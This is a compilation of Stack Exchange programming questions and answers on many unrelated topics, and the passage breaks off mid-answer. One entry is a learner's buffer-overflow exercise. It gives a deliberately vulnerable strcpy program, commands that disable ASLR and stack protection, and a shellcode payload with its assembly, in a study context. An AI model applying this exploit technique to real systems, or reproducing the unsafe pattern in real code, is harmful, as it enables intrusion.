text:
Q: Syntax Error: Unexpected token. problem with empty tag My code runing good on desktop but on my laptop it is crushing. Sorry for stupid question but where is a problem?
return (
        <>
            <Navbar collapseOnSelect expand='lg' bg='dark' variant='dark' >
                <Container>
                    <Navbar.Brand herf='/' >

error on 2nd string
btw I closed tag <>

A: Your code is a little nonsensical and incomplete but maybe something like this:
There were syntax errors like herf instead of href and some missing closing tags.
const Example = () => (
  <Navbar collapseOnSelect expand="lg" bg="dark" variant="dark">
    <Container>
      <Navbar.Brand href="/">Text</Navbar.Brand>
    </Container>
  </Navbar>
)


text:
Q: What does "|" between arguments in cat command do? I understand what the "cat" command does.
I.e.
cat file1 file2 > file3

Will put the contents of file1 and file2 in file3. (If I am not mistaken)
But what exactly does:
cat file1 | file2 > file3

do?
I don't have a UNIX machine to test this on, and I can't google " | ", hence my question.

A: It's a pipeline. It will redirect the standard output of the first command into the standard input of the second command.
cat file1 | grep example

For example, the above command will catenate the requested file into grep's stdin.
The command you posted would fail.
cat file1 | file2 > file3

file2 isn't an executable and thus the operation would stop there.

redpajama_set_name: RedPajamaStackExchange


text:
Q: how to write some text around a circular disk? I want to know how can I write some text around a circular disk?
My circular disk is something like:
\documentclass[border=5pt]{standalone}
\usepackage{tikz}
\usetikzlibrary{calc}
\begin{document}
\begin{tikzpicture}
\def\NumSpokes{8}
\def\InnerR{2.9}
\def\OuterR{3}
\draw (0,0) circle (\OuterR); \foreach \k in {1,...,\NumSpokes}
{%
\draw (\k*360/\NumSpokes:\InnerR) -- (\k*360/\NumSpokes:\OuterR+0.1)         ; }
\foreach \k in {3,6,7}{%
\fill[black] (\k*360/\NumSpokes:\OuterR) circle (0.1);
}
\end{tikzpicture}
\end{document}
\end{document}

I want to know if it is possible to show the distance between the first and the second black circles, with for example "L1", and the distance between the second and the third black circles, with "L2" by a simple "{"s with "L1" and "L2" on them around and out of the main disk?

A: Using the answer of @Qrrbrbirlbel from here: https://tex.stackexchange.com/a/82930/120578 I got this:
\documentclass[border=5pt]{standalone}
\usepackage{tikz}
\usetikzlibrary{calc}
\usetikzlibrary{decorations.pathreplacing}

\makeatletter

\usetikzlibrary{arrows}
\newcommand*{\braceme}[6][]{% #1 = optional
                            % #2 = radius
                            % #3 = start angle
                            % #4 = end angle
                            % #5 = node name
                            % #6 = node content
\draw[
    shift={(#3:#2)},
    right to reversed-right to reversed,
    shorten >=-.75\pgflinewidth,
    #1
    ] (0,0)
        arc[radius=#2, start angle=#3, end angle=#3+(#4-#3)/2] node[rotate=#3+(#4-#3)/2-90,above=2pt] (#5) {#6};
\draw[
    shift={({#3+(#4-#3)/2}:#2)},
    left to reversed-left to reversed,
    shorten <=-.75\pgflinewidth,
    #1
    ] (0,0)
        arc[radius=#2, start angle=#3+(#4-#3)/2, end angle=#4];
}

\begin{document}
\begin{tikzpicture}
\def\NumSpokes{8}
\def\InnerR{2.9}
\def\OuterR{3}
\draw (0,0) circle (\OuterR); \foreach \k in {1,...,\NumSpokes}
{%
\draw (\k*360/\NumSpokes:\InnerR) -- (\k*360/\NumSpokes:\OuterR+0.1) ; }
\foreach \k in {3,6,7}{%
\fill[black] (\k*360/\NumSpokes:\OuterR) circle (0.1) ;
\coordinate (Cir\k) at (\k*360/\NumSpokes:\OuterR) ;
}

\draw[dashed] (3*360/\NumSpokes:3)--(3*360/\NumSpokes:3.5);
\draw[dashed] (6*360/\NumSpokes:3)--(6*360/\NumSpokes:3.5);
\draw[dashed] (7*360/\NumSpokes:3)--(7*360/\NumSpokes:3.5);

\braceme[thick,red]{3.5}{6*360/\NumSpokes}{7*360/\NumSpokes}{br2}{$L_1$}
\braceme[thick,blue]{3.5}{3*360/\NumSpokes}{6*360/\NumSpokes}{br2}{$L_1$}

\end{tikzpicture}
\end{document}

Is this ok for you?


text: Q: Eta Prediction for bus system using XGboost Regressor in my dataset, i have total 300k samples for travel time between two consecutive stops on a bus route. Using a Xgboost Regressor, trying to predict travel time for an ongoing trip. parameters feeded: X=[routeId, stop_pair,weekday,hourOfDay],y=[travelTime]. But could not achieve a good accuracy on test data. I have cleaned data by removing missing values or randomly large or negative values.


text:
Q: URL contains "?" mark,the url redirect not working in Magento Enterprise1.13 I have some issue in URL redirecting. I've created a url redirect (in admin) without quotation and it's working fine. Example: http//www.domain.com/products/wingback-chair/leadimage.position=3
when ever I create a url redirect (in admin) with quotation mark like
http//www.domain.com/products/wingback-chair?leadimage.position=3 the URL redirect does not work.it's shows 404 error.
Please tell me if there any possibilities via htacces convert "?" to "/" or any idea/suggestion. I appreciate your help.

A: You can use .htaccess for a few specific redirects, like if you want to redirect /page.php?id=4 to http://example.org/page/4 add the following lines
RewriteEngine On
RewriteCond %{REQUEST_URI}  ^/page\.php$
RewriteCond %{QUERY_STRING} ^id=([0-9]*)$
RewriteRule ^(.*)$ http://example.org/page/%1.pdf [R=302,L]


text:
Q: Rails 3: Why does an indent appear when repopulating text_areas with line breaks? I'm trying to program some forms that include text_area tags in Rails 3.1.3. Generally these text areas are filled with more than one paragraph (i.e. they include line breaks). If I save the text and display it with simple_format, the paragraphs display correctly, but if I repopulate the same form for editing, the format seems to add an indent after every line break. So, for example, if I input the following into the text area of the form:
Item 1
Item 2
Item 3

And I save it, the next time I load the form to edit the data, the text_area is populated with the following:
Item 1
    Item 2
    Item 3

Does anyone know why this happens and how to fix it? The segment of the form view that displays this follows:
    <fieldset>

            <%= f.label "Títulos, seminarios, cursos" %>
            <%= f.text_area :titles_seminars_courses %>

        ...
    </fieldset>

I'm not doing anything special when saving to the database (no gsub or anything), just directly saving the 'Item 1\r\nItem 2\r\nItem 3\r\n' string. I'm using the same form for the initial creation and edition of this data.
Thank you in advance for any help with this issue.
EDIT 1:
The view that displays the data correctly is the following (but it's not in a text_area):

    <%= simple_format(@academic_background.titles_seminars_courses, :class => "other_study") %>

EDIT 2:
<textarea cols="40" id="academic_background_titles_seminars_courses" name="academic_background[titles_seminars_courses]" rows="20">Item 1
        Item 2
        Item 3</textarea>

A: Ok, the problem seemed to be the mix between html.haml and html.erb views in the application. So either the .erb views are not properly rendered, or they don't play nice with the other .haml views. In mi case, for example, the application layout view is in haml, but the form was in erb.
Whatever the cause, the bottom line is that the text_area_tags don't render correctly in erb, but do in haml. So my workaround, although I know it is very hacky and not pretty, was to make a small partial in haml called _text_area.html.haml which renders just the textarea for a form:
_text_area.html.haml:
-if defined? options
    = f.text_area field, options
-else
    = f.text_area field

So every time I want to have a text_area tag in a form, I have to call a render like so:
<%= form_for @instance do |f| %>
    ...
    <%= render :partial => 'common/text_area', :locals => {:f => f, :field => :some_field_from_instance, :options => {:cols => 40, :rows => 10}} %>
    <%= render :partial => 'common/text_area', :locals => {:f => f, :field => :some_other_field} %>
    ...
<% end %>

This renders perfectly. That's why I think the problem lies with haml and its interpretation of indentation. If anyone has a better solution, please do let me know.

A: For HAML, If you use:
 ~ f.text_area

instead of:
= f.text_area

it has the same effect as Haml::Template.options[:ugly] = true and will preserve the whitespace in your saved text string, rather than trying to pretty it up.
read more in the docs here


text:
Q: How to remove some options of Intent Chooser I am creating a chooser,I wang to add a option that i want to,so I must delete the exised options.The following is my code:
private Intent createChooser(Intent targetintent){
    Intent chooser=Intent.createChooser(targetintent, getString(R.string.choose_an_app));
    PackageManager pm = getPackageManager();
    List<ResolveInfo> infoList  =pm.queryIntentActivities(targetintent, PackageManager.MATCH_DEFAULT_ONLY);
    Log.i("TAG","size  "+infoList.size());
    List<LabeledIntent> labeledIntents = new ArrayList<>();
        for(ResolveInfo ri:infoList){
        String packageName = ri.activityInfo.packageName;
        if(packageName.contains("android.providers.media")){//系统的 media stroage

            Intent intent = new Intent();
            intent.setComponent(new ComponentName(packageName, ri.activityInfo.name));
            intent.setAction(RingtoneManager.ACTION_RINGTONE_PICKER);
            labeledIntents.add(new LabeledIntent(intent, packageName, ri.loadLabel(pm), ri.icon));
        }
    }
    LabeledIntent[] extraIntents = labeledIntents.toArray( new LabeledIntent[ labeledIntents.size() ]);
    Log.i("TAG","extarsize "+labeledIntents.size());

    chooser.removeExtra(Intent.EXTRA_INITIAL_INTENTS);
    chooser.putExtra(Intent.EXTRA_INITIAL_INTENTS,extraIntents);

    return chooser;

}
I use this code
chooser.removeExtra(Intent.EXTRA_INITIAL_INTENTS);
chooser.putExtra(Intent.EXTRA_INITIAL_INTENTS,extraIntents);

to remove the existed options and then add my options,but not working!

A: Removing specific items/options from the intent chooser is not possible. So create your own custom list view/dialog similar to the default chooser dialog with your targeted options.
You already have your targeted package name and you can get and set the app icon through iconImageView.setImageDrawable(info.loadIcon(getPackageManager()));


text:
Q: How to set global http proxy settings for apache HttpClient In Apache Commons 4.3 and onwards, you need to inject your HTTP proxy settings at the HttpRequest level - but not globally, in the HttpClient itself:
RequestConfig config = RequestConfig.custom().setProxy(proxy).build();
HttpGet httpget = new HttpGet("http://url");
httpget.setConfig(config);
...

httpclient.execute(target, httpget);

The problem is that, in some higher-level libraries, configuration is made by passing a custom-built HttpClient instance. But that doesn't give you access to the HttpRequest built inside the API code.
For instance, in Jolokia (a JMX REST bridge), you create your client like this:
J4pClient j4pClient = new J4pClient("http://localhost:8080/jolokia", httpClient);

Is there a way to specify an HTTP proxy in this case ? The http.proxyHost system property seems ignored and i'd like to avoid creating a full layer of wrapper classes around HttpClient and HttpRequest to inject the settings during the request creation.

A: You can use HttpClientBuilder.  It will pull in the system properties for http.proxyHost, http.proxyPort, http.nonProxyHosts.
HttpClientBuilder.create().useSystemProperties().build();

See http://hc.apache.org/httpcomponents-client-ga/httpclient/apidocs/org/apache/http/impl/client/HttpClientBuilder.html


text:
Q: Creating a map using python I have created a geodataframe(as shown below) and would like to know if I can create a map from the points with their attributes, or is that a job for GIS??

A: You will need to download a TopoJSO, GeoJSON, or Shapefile file to build a functional map. The geo-locations or coordinates, latitude, and longitude will only help you plot a point on the map.
Here is a working sample: https://rosenfelder.ai/create-maps-with-python/
Below are links to Shape and JSON files

*

*https://ec.europa.eu/eurostat/web/gisco/geodata/reference-data/administrative-units-statistical-units/countries

*https://www.arcgis.com/home/item.html?id=0da030d7979c46088b1bcd1e8225cd90

*https://www.census.gov/geographies/mapping-files/time-series/geo/carto-boundary-file.html
You are on the right track, but more work will be needed.


text:
Q: Set a Javascript Timer to Half hour I need to make a timer that counts down to 4:30pm. So far, I can get it to either 4pm or 5pm, but not any minutes in between. I've managed to figure this much out:
<script type="text/javascript">

var currentTime = new Date();
var hours = currentTime.getHours();
var minutes = currentTime.getMinutes();
var d = new Date();
var weekday = new Array(7);
weekday[0] = "Sunday";
weekday[1] = "Monday";
weekday[2] = "Tuesday";
weekday[3] = "Wednesday";
weekday[4] = "Thursday";
weekday[5] = "Friday";
weekday[6] = "Saturday";

var n = weekday[d.getDay()];

var suffix = "AM";

var hoursLeft = 16 - hours;
var minsLeft = 60 - minutes;

if (minutes < 10){
minutes = "0" + minutes;
 }

if (hours >= 18)
{
 document.write("Same day shipping has ended for today.");
} else

if ((n === "Saturday") || (n === "Sunday"))
{
document.write("Same day shipping is not available today.");
} else {

if (hoursLeft === 0) {
    document.write(minsLeft + " minutes left to have your order shipped today!");
} else {
    if (hoursLeft === 1) {
        document.write(hoursLeft + " hour and " + minsLeft + " minutes left to have your order shipped today!");
    } else {
    if ((hoursLeft === 0) && (minsLeft <= 30)){
    document.write(minsLeft + " minute left to have your order shipped today!");
    } else {

    if (minsLeft ===1) {
    document.write (hoursLeft + " hours and " + minsLeft + " minute left to have your order shipped today!");
    } else {

if(minsLeft===60){
minsLeft=0;
hoursLeft++;
n === "Monday";
n === "Tuesday";
n === "Wednesday";
n === "Thursday";
n === "Friday";
}

document.write(hoursLeft  + " hours and " + minsLeft + " minutes left to have your order shipped today!");
}
}
}
}
}

</script>

I need the time to count down to 4:30pm, but I've only figured out how to change the "var hoursLeft" to set it to "16 - hours" which gets me to 4pm, but can't figure out how to get it to 4:30pm. I thought I'd tweak the "var minsLeft" but got a weird bug that started to say stuff like "2 hours and -15 minutes left".
Anyone have any ideas?

A: As a commenter above suggested, do your calculations in minutes.  Convert your hours to total minutes and make sure the minutes are within your parameters.
For displaying the minutes, just use the modulo operator to get the number of minutes on top of the current hour.
For example, if there are 185 minutes left and you want to display "3 hours and 5 minutes left",
var minutesLeft = 185;
var hours = Math.floor(minutesLeft/60);
var minStr = minutesLeft % 60;
var timeLeft = hours + " hours and " + minStr + " minutes left";

You'll want to use your own logic, of course, to keep from saying things like "1 hours."


text:
Q: encode URL with special characters Javascript firstly just like to say i'm new to Javascript i only really know HTML // CSS. I'm currently using Adfly's API for people to shorten links on my behalf, I wrote a little bit of Javascript to make this work with some html, but I was wondering how to encode the URL before Adfly's API uses it. Due to the amount of special characters in it, it needs to be encoded I know there's multiple ways like:
encodeURIcomponent()
encodeURL()
escape()

and between them they do the characters I need but none of them do the characters I need individually, also i'm not sure how I would go about implementing them to the javascript I already have.
Here's the code i'm currently using:
Javascript:

HTML:
<input type="text" id="url">

<button>Go</button>

Also not necessary to the question, however would it be possible to open the window in an iframe ?
EDIT:
I managed to get the API generated link to open in iframe however this wasn't my main issue but i'll put code below so people in the future can use it.

<input type="text" id="url">

<button>Go</button>

A: You should call encodeURIComponent to prevent any special characters in the input value from being processed. So it should be:
var url="http://api.adf.ly/stxt/API Key/" + enodeURIComponent(document.getElementById("url").value);

If you want it to be in an iframe in the popup window, you need to write the HTML that contains the  element into the window.
var w = window.open("", "_blank");
w.document.write("");

If you meant that you want it to be in an iframe in the current document, you can add this to your HTML:

and use this Javascript:
document.getElementById("iframe-container").innerHTML = ""


text:
Q: Use four CPUs to run a python script I'm running a python script that does some operations over a large graph, so I would like to take advantage of the 4 cores of my PC. Watching the task manager I can see that all CPUs are running but the total CPU usage is up to 50%. As I set this PC exclusively to run this script I would like to use  its CPUs as much as possible. Is there a python module or anything that can be set in my OS (windows 7) in order to allow me to do that?

A: C Python has a rather generous lock that precludes most threaded operations from truly happening in parallel.  You might want to look at the Multiprocessing module.
Otherwise, you could use a Python implementation that allows for concurrent threading:

*

*IronPython

*Jython

A: Have a read through this module:
http://docs.python.org/library/threading.html
for very good work and a more simple example:
http://www.devshed.com/c/a/Python/Basic-Threading-in-Python/
Hope these help!


text:
Q: Invariant polynomials of under some linear transformations I am looking for the polynomials invariant under two linear transformations. That is, if $x\in\mathbb{R}^4$ and given two sets of linear transformations $f$ and $g$, I am looking for the invariant polynomials p(x) such that
$$
p(f(x))=p(g(x))=p(x).
$$
In my case, writing $x=(x_1,x_2,x_3,x_4)$, the transformations are $x'_i=f(x_i)=(-1)^{i}x_i$ and $g$ depends on a continuous parameter $t\in \mathbb{R}$,
$$
g_t(x)=\begin{pmatrix}
1 & 0 & 0 &0\\
2t & 1 & 0 & 0\\
3t^2 & 3t & 1 &0\\
4t^3 & 6t^2 & 4t & 1
\end{pmatrix}\begin{pmatrix}x_1\\ x_2\\ x_3\\ x_4\end{pmatrix}.
$$
Note that $g_0$ is the identity transformation, and thus $F=\{g_0,f\}$ is a group, and also, $G=\{g_t\}_{t\in\mathbb{R}}$ is a group, since $g_{t'}(g_{t'}(x))=g_{t+t'}(x)$. Thus $H=\{\{g_t\}_{t\in\mathbb{R}},f\}$ is a group, with $F$ a subgroup. We also have $f.g.f=g^{-1}$ for all $g\in G$. It turns out that $G$ is a Lie group, with $g_t=e^{t X}$ with generator
$$X=\begin{pmatrix}
0 & 0 & 0 &0\\
2 & 0 & 0 & 0\\
0 & 3 & 0 &0\\
0 & 0 & 4 & 0
\end{pmatrix}.$$
I have convinced myself that all invariant polynomials can be written as
$$p(x)=q(y)$$
with $q$ a polynomial of the "basis" $y=(x_1^2,4x_1x_3-3 x_2^2,x_1^2x_4-2x_1 x_2 x_3+x_2^3)$.
However, how do I prove this? That is, how do I prove that there are only three "irreducible" invariant polynomials and that any other invariant polynomial can be written in terms of them?
For instance, is the fact that $X^4=0$ related to the fact that there are only three irreducible invariant polynomials?

A: Using the fact that $G$ is a one-parameter Lie group (this is the relevant key-word to solve the problem) allows for the use of the literature on these problems. I follow the "Introduction to the Lie theory of one-parameter groups"  by Cohen.
Using that $G$ is a simple case of a one-parameter Lie group, we see easily that the transformation induced by G on $x$ is $x(t)=e^{Xt}x$.
Since $G$ is a Lie group, we can focus on the study of infinitesimal transformations,
$$
\partial_t x=Xx=Dx,\quad\quad (1)
$$
where we define the differential operator $D=x X^T\partial_x=2x_1 \partial_{x_2}+3x_2 \partial_{x_3}+4x_3 \partial_{x_4}=\sum_{i=1}^4\xi_i(x) \partial_{x_i}$. The infinitesimal transformation of a generic function $u(x)$ is given by $Du$.
It is better to solve Eq. (1) as
$$
\frac{dx_1}{\xi_1}=\frac{dx_2}{\xi_2}=\frac{dx_3}{\xi_3}=\frac{dx_4}{\xi_4}=dt,\quad\quad (2)
$$
where in our case, the first equation should be interpreted as $dx_1=0$, and thus $x_1(t)=i_1(x(t))=c_1$ is an invariant. Indeed, Eq. (2) is very convenient, since it allows us to directly find the invariants, as $\frac{dx_2}{\xi_2}=\frac{dx_3}{\xi_3}$ and $\frac{dx_2}{\xi_2}=\frac{dx_4}{\xi_4}$ are independent of $t$. Solving these two equations gives two additional invariants $i_2(x(t))=4 x_1(t)x_3(t)-3 x_2(t)^2=c_2$ and $i_3(x(t))=x_1(t)^2x_4(t)-2x_1(t)x_2(t)x_3(t)+ x_2(t)^3=c_3$. Finally, solving for instance $\frac{dx_2}{\xi_2}=dt$ we obtain $v(x(t))=x_2(t)/2x_1(t)=c_4+t$.
Therefore, instead of expressing the transformation induced by $G$ in terms of the trajectory $x(t)$, we parametrize it in terms of the three invariants $i_1$, $i_2$ and $i_3$, as well as the simple evolution of $v(x(t))$.
A theorem then states that for an arbitrary function $u(x)$ to be invariant under $G$, it is necessary and sufficient that $Du=0$. This is equivalent to say that $\frac{d u(x(t))}{dt}=0$. But with the above parametrization, $u(x(t))=U(i_1(x(t)),i_2(x(t)),i_3(x(t)),v(x(t)))=U(i_1,i_2,i_3,c_4+t)$. Invariance of $u$ implies that any invariant function can be written as $u(x)=U(i_1,i_2,i_3)$.
We are left with the invariance under $F$. We can readily check that $f(i_1)=-i_1$ and $f(i_2)=i_2$, $f(i_3)=i_3$, which leads us to introduce the invariants under the full group $H$ as $I_1=i_1^2$, $I_2=i_2$ and $I_3=i_3$. Thus an arbitrary function  $u(x)$ invariant  under $H$ is of the form $u(x)=U(I_1,I_2,I_3)$


text:
Q: Getting an error 'No files matching the pattern were found' when using prettier I found this answer how to format code using prettier
Here is what I've done
npm i prettier -g
prettier --write \"./**/*.{js,html}\"

Got an error [error] No files matching the pattern were found: ""./**/*.{js,html}"". any ideas how to fix? do you think it is because I installed the prettier globally (in the answer it is installed locally)?
So how would you use pettier when it is installed globally then?

A: Probably the quotes are wrong. It should probably be:
prettier --write "./**/*.{js,html}"

without the backslashes.

A: One solution to this problem was suggested here : and actually worked for me. Notice I am on Windows machine, so am not sure how it will behave on others. Just remove anything before and after the expression (quotes):
prettier --write ./**/*.{js,html}

A: the problem is with the quotes
I was using
prettier --write 'src//**/*.{js,jsx,json}'

here is how I fixed mine
prettier --write src//**/*.{js,jsx,json}

this was for errno 2

A: If you have a prettier script setup in package.json, you'll need to wrap the filepath in quotes, escape double quotes or use single quotes:
"prettier": "prettier 'src/**/*'"
"prettier": "prettier \"src/**/*\""

A: I'm on using a windows computer. Removing the double quotes worked for me.
this the script on package.json
 "prettier-format": "prettier --config .prettierrc src/**/*.ts --write"

A: what worked for me is installing touch command globally using this command
npm install touch-cli -g

then create your .prettierrc file using the touch command
touch .prettierrc

put simple configuration in the .prettierrc file like
{ "trailingComma": "es5","tabWidth": 4,"semi": false,"singleQuote":true}

then in the package.json file write the following script
  "scripts": {
"prettier":"npx prettier --config .prettierrc \"src/**/*.js\" --write"
             }

then run the script using npm command
npm run prettier


text:
Q: Can't Reproduce Buffer Overflow Without GDB I have been trying to troubleshoot this problem for a while. I have checked a few StackOverflow links with similar problems, but none of the fixes seemed to work for me. For some reason, instead of getting a Segmentation Fault like I should be (if my exploit code didn't work), my exploit code simply doesn't generate the fault. My original assumption was that the perl code somehow generated only a little bit of output, thus not overflowing on to the stack, but I proved this wrong by piping the output of the perl command to a file.
I am not able to reproduce this problem in GDB, however. From my understanding, GDB disables ASLR, but I've disabled it (temporarily) in the system through the following command. I know this command works because I am printing out the address of the variable &buff, and it doesn't change among multiple runs.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

I have also disabled stack canary protection on my executable:
gcc -g -m32 -fno-stack-protector -z execstack exploit.c

As I've said before, my exploit works perfectly in GDB. Here is my exploitable program, and I'll show you my exploit code.
exploit.c
int checkFunc(char *c) {
    char buff[32];
    printf("0x%08x\n", &buff);
    strcpy(buff, c);
    if(strcmp(buff, "test") == 0) return 1;
    else return 0;
}

int main(int argc, char *argv[]) {
    int result = checkFunc(argv[1]);
    if(result == 1) printf("Access granted\n");
    else printf("Access denied\n");
    return 0;
}

GDB output of [working] exploit code
(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn

Regular output of exploit code
chris@cb:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied

Yes, I have taken into account of the return address changing (GDB adds extra environmental variables). That's why I've sort of cheated by printing out the return address in my program so that I know what the exact value is without using GDB.
If anyone thinks that the exploit code is wrong somehow, I'll post the assembly code as well.
xor    edx,edx   ;xor so we don't have to use a null terminator in our code
xor    ecx,ecx
xor    ebx,ebx
push   edx       ;push the null terminator to the stack
push   0xa6e7770 ;push our string pwn\n to the stack
mov    dl,0x4
mov    ecx,esp
mov    bl,0x1
mov    al,0x4
int    0x80      ;print our string
jmp    eip - 1   ;keep on looping!

Thank you so much in advance! I've been stuck on this for hours now. And just so you guys know, I've written this exploitable program to learn about Buffer Overflows in Hacking: The Art of Exploitation.

A: For anyone with this problem in the future...
The problem I had with the program was the 0x0A character in my buffer. For some reason, GDB treats this as a simple new line character, but when running the program normally, it is treated as a null character. I resolved the problem by changing the newline character to something else. Thank you for your help Jester, EOF, and Michael, for leading me into the right direction, and helping me write better code :).
(gdb) x/32x &buff
0xbffff130:     0x90    0x90    0x31    0xd2    0x31    0xc9    0x31    0xdb
0xbffff138:     0x31    0xc0    0x52    0x68    0x70    0x77    0x6e    0x00
0xbffff140:     0x20    0xec    0xfc    0xb7    0x2d    0x86    0x04    0x08
0xbffff148:     0x64    0xf1    0xff    0xbf    0x00    0x00    0x00    0x00

As you can see, the byte 0x00 terminates the string at byte 15, and thus, the rest of my array has uninitialized values.
I am assuming that the program thinks that I am doing an actual new line for the command line arguments, but we all know that isn't the case ;).
To fix this problem, I simply substituted another value for the newline. Unfortunately, I do not know how to incorporate the newline into my program without causing this issue. I've thought of the following hacky solution to compensate. Put the value of the newline minus one (0x9) into a register, then calling the inc opcode on the register, and push it on to the stack.


text:
Q: Reclassifying floating point raster in ArcGIS Desktop? I have a floating point raster having dimensions of 478 x 418 columns and rows respectively. The cell size is 30 x 30 meters, therefore, it covers an area of 179.5 Sqkm.

The intent is to obtain one row for each pixel of the map in a table.
Is there any way around except 'Raster to Points' tool available in ArcMap?
As such, I would like to retain values as pixels to compute other statistics required for validation of this raster through Success Rate and Prediction Rate Curves! Like, frequency of training/testing points in each cell.
How should I reclassify it by retaining its original values in contrast to assigning new values using 'Reclassify tool?

A: You can build a raster table directly using http://desktop.arcgis.com/en/arcmap/10.3/tools/data-management-toolbox/build-raster-attribute-table.htm
However this won't work on 32bit floating point data. If you need the decimal places, multiply by e.g 1000 then convert to integer first.

A: you probably don't have training/testing points for each pixel. Therefore you should extract the values of the pixels for each testing point (using extract value to point or extract multivalue to point) instead of converting your raster pixels to unique value.


text:
Q: Call variable in CURL Command I am trying to define a variable for a curl command.
curl --location -k --request GET 'https://myprojt.test9.abc.com/api/part/config=8594&select=parts,Action,refernceNumber&SalesID=333&partNumber=789-635'

I want to call a variable for &partNumber=789-635
Tried defining $part='@option.partnumber@',  this is the input parameter which takes a value.
curl --location -k --request GET 'https://myprojt.test9.abc.com/api/part/config=8594&select=parts,Action,refernceNumber&SalesID=333&partNumber=$part'

I even tried replacing single quotes (') by double (") but not working, kindly help.

A: You can assign directly like MYVAR=@option.myoption@
I leave a working example:
<joblist>
  <job>
    <context>
      <options preserveOrder='true'>
        <option name='myoption' value='world' />
      </options>
    </context>
    <defaultTab>nodes</defaultTab>
    <description></description>
    <executionEnabled>true</executionEnabled>
    <id>e781836f-e0f8-4ccb-b03f-a384be306860</id>
    <loglevel>INFO</loglevel>
    <name>JobInlineScript</name>
    <nodeFilterEditable>false</nodeFilterEditable>
    <plugins />
    <scheduleEnabled>true</scheduleEnabled>
    <sequence keepgoing='false' strategy='node-first'>
      <command>
        <fileExtension>.sh</fileExtension>
        <script><![CDATA[# starting
MYVAR=@option.myoption@

# print
echo "hello $MYVAR"]]></script>
        <scriptargs />
        <scriptinterpreter>/bin/bash</scriptinterpreter>
      </command>
    </sequence>
    <uuid>e781836f-e0f8-4ccb-b03f-a384be306860</uuid>
  </job>
</joblist>

And here the result.


text:
Q: how do you properly setup android countdown such that it will always have 2 digits places how do you properly setup android countdown output such that it will always have 2 digits places?
For example: 02:03 or 02:05 would be the correct output
Current output: 2:3 or 2:5
I tried two implementations that output the same thing:
g.drawString("TIME: " +  ((milliSec / (1000*60)) % 60) + " : " + ((milliSec / 1000) % 60 ), 150, 110);

g.drawString("TIME: " + String.format("%d : %d ",
        TimeUnit.MILLISECONDS.toMinutes( milliSec),
        TimeUnit.MILLISECONDS.toSeconds(milliSec) -
                TimeUnit.MINUTES.toSeconds(TimeUnit.MILLISECONDS.toMinutes(milliSec))),150,110);
g.drawString("SCORE: " + board.getScore(), 150,50);

A: In String.format, use String.format("%02d:%02d", ... instead.


text:
Q: How to change a field from index = false to index = true in ElasticSearch I have a field that was originally set to "index": false because we did not think we would ever have to query on this particular field. Its now about 9 months later and we have a new feature request that is going to require us to query on this field.
I know ES offers some nice features like fields that allow you to add more functionality to a field, but it does not appear to allow you to go from index = false to index = true by simply adding a sub-field.
After some googling I was not able to find a solution to this issue that doesn't involve either 1) creating a new field altogether or 2) re-indexing all of the data.
Does anyone know of a clean/side effect-free way of adding this kind of functionality to an existing field? If not, what is the suggested process?
Here is what the current field looks like:
{
  "mappings": {
      "entity": {
        "properties": {
          "contentType": {
            "type": "keyword",
            "index": false
          }
        }
      }
    }
}

Like I said I am looking to find the cleanest way of changing "index" to true
Thanks!

A: You need to create a new index and reindex I'm afraid.
Reindex API can be a great help though.


text:
Q: How to set values of variable using SET in MySql? How to set values to variable using SET in MySql?

A: You don't need to declare the user defined variables, you can just SET them as you have in your question.
Once variable is set you can refer to it in SELECT or other statements, for example:
SELECT @_achat_loc;

+-------------+
| @_achat_loc |
+-------------+
| achat       |
+-------------+
1 row in set (0.00 sec)

or
UPDATE a SET b=@_achat_loc;


text:
Q: gmap3 - Loop through markers We want to loop trough all markers that are on the google map. The reason that we want to do this is: We want to change the icon of all the markers.
We have written an if statement that makes an distinction between the markers and the marker we clicked on.
if (marker.id==$i) {
  marker.setIcon('assets/images/website/marker-active.png');
} else {
  if (marker.id != 777) {
    marker.setIcon('assets/images/website/marker.png');
  }
}

But we are unable to find out how to perform the loop.
Thanks in advance.

A: You will have to hash the markers upon their creation. There are a number of ways to do this but here's a simple one to get you started:
var markers = {};
$.getJSON('marker_data.php').then(function(data) {
    data.forEach(function(record) {
        options = foo; //create the options object for the marker
        markers[record.id] = new google.maps.marker(foo);
    });
});

Alternatively you could store them in an array, but that could make it harder to retrieve a specific marker, I tend to cache them in an object by id.
Once you have the hash/array, its easy enough to iterate:
for (var id in markers) {
    if (id == activeID) {
        marker.setIcon('assets/images/website/marker-active.png');
    } else if (id != 777) {
        marker.setIcon('assets/images/website/marker.png');
    }
}

My example assumes you're using jQuery for AJAX and php on the backend, but adjust to suit your stack.


text:
Q: Next.js typescript next.config.js doesn't work I try to use Next.js with TypeScript and I need add custom configuration. I had created a next.config.js file but looks like Next.js doesn't load it. For example custom environments variable unavailable. Here's my next.config.js
const withPlugins = require("next-compose-plugins");
const optimizedImages = require("next-optimized-images");

module.exports = withPlugins([
  [
    optimizedImages,
    {
      /* config for next-optimized-images */
      optimizeImages: false,
    },
  ],
  {
    reactStrictMode: true,
    // images: {
    //   domains: ['localhost:3000'],
    //   path: `uploads/_next/image`
    // imageSizes: [16, 32, 48, 64, 96, 128, 256, 384]
    // },
    env: {
      baseUrl: "http://localhost:3001",
      apiUrl: "http://localhost:5000",
    },
  },

  // your other plugins here
]);

For example when I try to access baseUrl like process.env.baseUrl I get an error

Server Error
Error: baseUrl is undefined.

Same config is working correct with JavaScript version of Next.js.
So what I do wrong?

A: It is not related to typescript. Typescript does not have any control over next.js it does check types. In current next.js set up, when you install, if you choose to use typescript, next.js already configures typescript for you.
Variables that you are using in .env files are going to be accessible only by the server. If you need to set up environment variables for the client, then you set them in next.config.js
module.exports = {
